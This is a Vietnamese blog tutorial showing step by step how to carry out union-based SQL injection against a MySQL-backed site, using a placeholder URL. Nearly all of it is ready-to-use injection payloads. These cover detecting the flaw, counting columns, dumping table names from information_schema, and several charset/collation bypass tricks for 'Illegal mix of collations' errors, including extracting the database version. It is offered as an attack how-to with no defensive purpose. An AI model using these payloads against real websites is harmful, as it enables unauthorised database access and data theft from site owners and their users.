Ví dụ ta có site: http://www.xyz.com

Bước 1: Check lỗi

Thêm dấu ‘ sau đường link có dạng id=

http://www.xyz.com/news_dett.php?id=10' 

Giao diện website sẽ có thay đổi. Chứng tỏ site bị lỗi.

Bước 2: Tìm số trường cột

http://www.xyz.com/news_dett.php?id=10 order by 2-- - 

-> Site vẫn bình thường

http://www.xyz.com/news_dett.php?id=10 order by 3-- - 

-> Site thay đổi

(Unknown column '3' in 'order clause')

Số trường cột cần tìm là 2

Bước 3: Xác định vị trí trường cột bị lỗi

http://www.xyz.com/news_dett.php?id=-10 union select 1,2-- - 

Giả sử ở đây xuất hiện số 2

Bước 4: Xuất ra tên các tables trong database


http://www.xyz.com/news_dett.php?id=-10 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- - 

Lúc này nếu thấy có thông báo lỗi Illegal mix of collations for operation 'UNION'

Ta sẽ tiến hành bypass chỗ table_name như sau

http://www.xyz.com/news_dett.php?id=-10 union select 1,convert((table_name) using latin1) from information_schema.tables where table_schema=database()-- - 

Lúc này sẽ xuất hiện các table ta cần thiết.

Các cách bypass như sau:

convert((table_name) using latin1)
unhex(hex(table_name))
aes_decrypt(aes_encrypt((table_name),1),1)
cast((table_name)+as+binary)
convert((table_name),binary)
convert((table_name)+using+binary)
unhex(hex(group_concat(table_name)))
convert(group_concat(table_name) using ascii)

Riêng đối với trường hợp convert(group_concat(table_name) using ascii) nếu bảng mã ascii không tương ứng thì ta có thể thay bằng

ujis
ucs2
tis620
swe7
sjis
macroman
macce
latin7
latin5
latin2
koi8u
koi8r
keybcs2
hp8
geostd8
gbk
gb2132
armscii8
ascii
binary
cp1250
big5
cp1251
cp1256
cp1257
cp850
cp852
cp866
cp932
dec8
euckr
latin1
utf8

Lưu ý: Nếu khi tìm version mà nó cũng báo lỗi Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
thì ta làm cũng tương tự như sau

convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary) 


Tut by:  chinhnghia - ceh.vn 

Đăng nhận xét Blogger

 
Top